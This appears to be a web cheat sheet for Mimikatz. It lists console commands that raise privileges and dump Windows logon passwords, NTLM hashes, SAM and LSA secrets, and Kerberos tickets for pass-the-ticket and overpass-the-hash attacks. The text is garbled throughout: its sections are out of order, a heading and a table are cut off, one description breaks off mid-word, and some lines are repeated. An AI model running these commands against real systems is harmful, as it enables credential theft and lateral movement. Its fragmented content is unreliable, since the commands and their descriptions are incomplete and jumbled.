Mimikatz Cheatsheet -

| Command | Result | | :--- | :--- | | sekurlsa::logonpasswords | Dumps all active logon sessions (NTLM hashes + plaintext if WDigest is enabled). | | sekurlsa::tickets | Dumps all Kerberos tickets for pass-the-ticket attacks. | | sekurlsa::ekeys | Dumps Kerberos encryption keys (useful for Overpass-the-Hash). | 2. Extract SAM & SYSTEM Hives If LSASS is protected, go directly to the registry.

Mimikatz is arguably the most powerful and infamous post-exploitation tool ever created. Developed by Benjamin Delpy (@gentilkiwi), it allows security professionals to extract plaintext passwords, hashes, PINs, and Kerberos tickets directly from Windows memory. mimikatz cheatsheet

| Command | Purpose | | :--- | :--- | | lsadump::sam | Dumps local SAM hashes (NTLM) from the registry. | | lsadump::sam /sam:FILE /system:FILE | Dump SAM from saved hive files (offline). | | lsadump::secrets | Dumps secrets from the SECURITY registry (e.g., cached domain logons). | Simulate a domain controller to request password hashes for any user. | Command | Result | | :--- |

| Command | Purpose | | :--- | :--- | | mimikatz.exe | Launch the tool (interactive mode). | | mimikatz # privilege::debug | Seeks . This is the "master key" to interact with LSASS. | | mimikatz # token::elevate | Elevates to SYSTEM account (often needed for LSASS access). | | mimikatz # exit | Exit the Mimikatz console. | Developed by Benjamin Delpy (@gentilkiwi)